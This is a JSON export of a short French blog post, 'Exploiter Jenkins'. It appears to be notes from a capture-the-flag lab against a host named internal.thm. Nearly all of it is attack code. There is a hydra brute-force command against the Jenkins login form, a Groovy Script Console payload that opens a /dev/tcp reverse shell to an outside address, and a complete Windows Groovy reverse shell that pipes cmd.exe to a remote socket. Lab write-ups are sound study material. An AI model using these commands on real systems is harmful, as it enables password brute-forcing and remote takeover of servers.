{"id":563,"date":"2021-07-15T19:54:59","date_gmt":"2021-07-16T00:54:59","guid":{"rendered":"https:\/\/www.searchevolution.com\/security\/?p=563"},"modified":"2022-04-27T07:53:42","modified_gmt":"2022-04-27T12:53:42","slug":"exploiter-jenkins","status":"publish","type":"post","link":"https:\/\/www.searchevolution.com\/security\/2021\/07\/15\/exploiter-jenkins\/","title":{"rendered":"Exploiter Jenkins"},"content":{"rendered":"<p>On peut tenter de trouver le mot de passe de Jenkins. On intercepte une requ\u00eate de connexion dans burp<\/p>\n<p>On utilise hydra<\/p>\n<p><code>hydra -l admin -P \/usr\/share\/wordlists\/rockyou.txt internal.thm -s 8888 http-post-form &quot;\/j_acegi_security_check:j_username=^USER^&amp;j_password=^PASS^&amp;from=%2F&amp;Submit=Sign+in:Invalid username or password&quot;<\/code><\/p>\n<p>Jenkins\/Manage Jenkins\/Script Console<br \/>\n<pre><code>\nr = Runtime.getRuntime()\np = r.exec([&quot;\/bin\/bash&quot;,&quot;-c&quot;,&quot;exec 5&lt;&gt;\/dev\/tcp\/10.9.0.60\/9999;cat &lt;&amp;5 | while read line; do \\$line 2&gt;&amp;5 &gt;&amp;5; done&quot;] as String[])\np.waitFor()\n<\/code><\/pre><\/p>\n<p>et on ex\u00e9cute le code pour obtenir un shell avec les privil\u00e8ges du service<\/p>\n<p>Sur windows, voici un script groovy fonctionnel pour la console<br \/>\n<pre><code>String host=&quot;10.9.0.24&quot;;\nint port=5555;\nString cmd=&quot;cmd.exe&quot;;\nProcess p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()&gt;0)so.write(pi.read());while(pe.available()&gt;0)so.write(pe.read());while(si.available()&gt;0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();<\/code><\/pre><\/p>\n","protected":false},"excerpt":{"rendered":"<p>On peut tenter de trouver le mot de passe de Jenkins. On intercepte une requ\u00eate de connexion dans burp On utilise hydra hydra -l admin -P \/usr\/share\/wordlists\/rockyou.txt internal.thm -s 8888 http-post-form &quot;\/j_acegi_security_check:j_username=^USER^&amp;j_password=^PASS^&amp;from=%2F&amp;Submit=Sign+in:Invalid username or password&quot; Jenkins\/Manage Jenkins\/Script Console r = Runtime.getRuntime() p = r.exec( as String) p.waitFor() et on ex\u00e9cute le code pour obtenir un shell avec les privil\u00e8ges du service Sur windows, voici un script groovy fonctionnel pour la console String host=&quot;10.9.0.24&quot;; int port=5555; String cmd=&quot;cmd.exe&quot;; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()&gt;0)so.write(pi.read());while(pe.available()&gt;0)so.write(pe.read());while(si.available()&gt;0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[22],"tags":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v20.4 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Exploiter Jenkins - S\u00e9curiser votre site<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.searchevolution.com\/security\/2021\/07\/15\/exploiter-jenkins\/\" \/>\n<meta property=\"og:locale\" content=\"fr_CA\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Exploiter Jenkins - S\u00e9curiser votre site\" \/>\n<meta property=\"og:description\" content=\"On peut tenter de trouver le mot de passe de Jenkins. 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